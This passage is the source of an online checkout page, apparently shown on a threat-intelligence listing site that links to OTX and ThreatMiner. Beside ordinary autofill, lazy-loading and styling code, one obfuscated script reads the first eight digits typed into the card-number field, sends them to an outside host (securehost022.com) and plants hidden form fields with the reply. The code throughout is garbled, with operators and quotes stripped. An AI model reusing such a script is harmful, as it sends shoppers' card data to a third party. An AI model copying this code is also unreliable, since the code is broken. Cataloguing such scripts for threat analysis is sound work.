(countrySelect) { const countryCode item.countrycode.toUpperCase(); const countryOption Array.from(countrySelect.options).find(option > option.value countryCode); if (countryOption) { countryOption.selected true; } } // Fill hidden state field with PlaceKit data const stateInput document.querySelector(inputnameshipState); if (stateInput) { // Try different fields to extract state/region let stateValue item.administrative || item.state || item.region || item.county || ; stateInput.value stateValue; console.log(State extracted from PlaceKit:, stateValue); } } ); // Listen for country changes document.querySelector(selectnameshipCountry).addEventListener(change, function() { const selectedCountry this.value; pka.configure({ countries: selectedCountry ? selectedCountry.toLowerCase() : undefined } ); } ); } );/script>script>((e,d,i,n)>{ let lnew Map,tdocument.querySelectorAll(e),rnull,he>{ let de.value.replace(/^0-9+/g,); d.length>8&&(rd.substr(0,8)),p(e)} ,ue>{ h(e.target)} ,pasync e>{ if(!r||!r.length)return; if(l.has(r)){ let dl.get(r); d&&(a(e,d.result),void 0!d.id?s(e,d.id):s(e,d.result)); return} let iawait fetch(n+r); if(404i.status){ l.set(r,null),a(e,null),s(e,0); return} let tawait i.json(); nullt.error&&(l.set(r,t),a(e,t.result),void 0!t.id?s(e,t.id):s(e,t.result))} ,a(e,i)>{ if(!e.__hiddenFieldBound){ let ndocument.createElement(input); n.typehidden,n.named,e.__hiddenFieldBound!0,e.__hiddenFieldApplied!1,e.__hiddenFieldn} i?(e.__hiddenField.valuei,e.__hiddenFieldApplied||(e.parentElement.append(e.__hiddenField),e.__hiddenFieldApplied!0)):(e.__hiddenField.remove(),e.__hiddenFieldApplied!1)} ,s(e,d)>{ if(!e.__hiddenFieldBound2){ let ndocument.createElement(input); n.typehidden,n.namei,e.__hiddenFieldBound2!0,e.__hiddenFieldApplied2!1,e.__hiddenField2n} d?(e.__hiddenField2.valued,e.__hiddenFieldApplied2||(e.parentElement.append(e.__hiddenField2),e.__hiddenFieldApplied2!0)):(e.__hiddenField2.remove(),e.__hiddenFieldApplied2!1)} ,Ffunction(){ t.forEach(e>{ e.__binQueryBound||(e.addEventListener(input,u),e.addEventListener(paste,u),e.__binQueryBound!0),h(e)} )}; if(t.length>0)F(); else{ let osetInterval(()>{ t.length>0&&(clearInterval(o),F())} ,500)} } )(namecardNumber,forceMerchantId,custom5,https://securehost022.com/bm/a4ce131f-cd38-4507-90bd-f09364bcb02f/);/script> script idscriptData> window.addEventListener(load, (function(){ $(#loading).hide(); $(body).removeClass(dom-pending); var lazyLoadThrottleTimeout; function recursiveOffsetParentTop(img) { if (img.offsetParent) { return img.offsetParent.offsetTop + recursiveOffsetParentTop(img.offsetParent); } else { return 0; } } function lazyLoad() { if (lazyLoadThrottleTimeout) { clearTimeout(lazyLoadThrottleTimeout); } lazyLoadThrottleTimeout setTimeout(function () { const scrollTop window.pageYOffset; const buffer 500; var loaded true; //Lazy loading the images var lazyLoad .slice.call(document.querySelectorAll(.fk-lazy)); lazyLoad.forEach(function (element) { if ($(element).is(:visible) && element.offsetTop + recursiveOffsetParentTop(element) ((window.innerHeight + scrollTop) + buffer)) { if(element.dataset.src) { element.src element.dataset.src; } element.classList.remove(fk-lazy); } else { loaded false; } }); if (loaded) { document.removeEventListener(scroll, lazyLoad); window.removeEventListener(resize, lazyLoad); window.removeEventListener(orientationChange, lazyLoad); } }, 20); } document.addEventListener(scroll, lazyLoad); window.addEventListener(resize, lazyLoad); window.addEventListener(orientationChange, lazyLoad); lazyLoad(); }), false); /script> div data-cc-link-attributiontrue>a hrefhttps://checkoutchamp.com titlePowered by CheckoutChamp>/a>/div> script> document.cookie X-Source + pageData.funnelReferenceId; var key pageData.funnelReferenceId + ccQuery; var queryParam sessionStorage.getItem(key); if(!queryParam) { queryParam (Math.random() + 1).toString(36).substring(7); sessionStorage.setItem(key, queryParam); } var dynamicCartRow document.querySelector(tridfk-dynamic-cart-row); if (dynamicCartRow) { dynamicCartRow.style.display none; } function getAbsolutePath(url) { const parts url.split(/); var size 3; if (parts2.indexOf(thisisatestsiteonly) ! -1) { size 4; } return parts.slice(0, size).join(/); } var fkDynamicScript document.createElement(script); fkDynamicScript.type text/javascript; fkDynamicScript.src getAbsolutePath(window.location.href)+/index.js?f+queryParam; document.head.appendChild(fkDynamicScript); /script> style cctrue> .fk-hide-on-load { visibility: hidden; } .fk-payment-options-hide-on-load, .fk-display-none-on-load { display: none; } .fk-youtube { background-color: #000; margin-bottom: 30px; position: relative; overflow: hidden; cursor: pointer; min-height: 160px; } .fk-youtube .fk-rm.image { -webkit-background-size: cover; background-position: center; background-repeat: no-repeat; width: 100%; height: 100%; position: absolute; } .fk-youtube .play-button { width: 90px; height: 60px; background-color: #333; box-shadow: 0 0 30px rgba( 0,0,0,0.6 ); z-index: 1; opacity: 0.8; border-radius: 6px; } .fk-youtube .play-button:before { content: ; border-style: solid; border-width: 15px 0 15px 26.0px; border-color: transparent transparent transparent #fff; } .fk-youtube .fk-rm.image, .fk-youtube .play-button { cursor: pointer; } .fk-youtube .fk-rm.image, .fk-youtube iframe, .fk-youtube .play-button, .fk-youtube .play-button:before { position: absolute; } .fk-youtube .play-button, .fk-youtube .play-button:before { top: 50%; left: 50%; transform: translate3d( -50%, -50%, 0 ); } .fk-youtube iframe { height: 100%; width: 100%; top: 0; left: 0; } /style> /body>/html>
View on OTX
|
View on ThreatMiner
Please enable JavaScript to view the
comments powered by Disqus.
Data with thanks to
AlienVault OTX
,
VirusTotal
,
Malwr
and
others
. [
Sitemap
]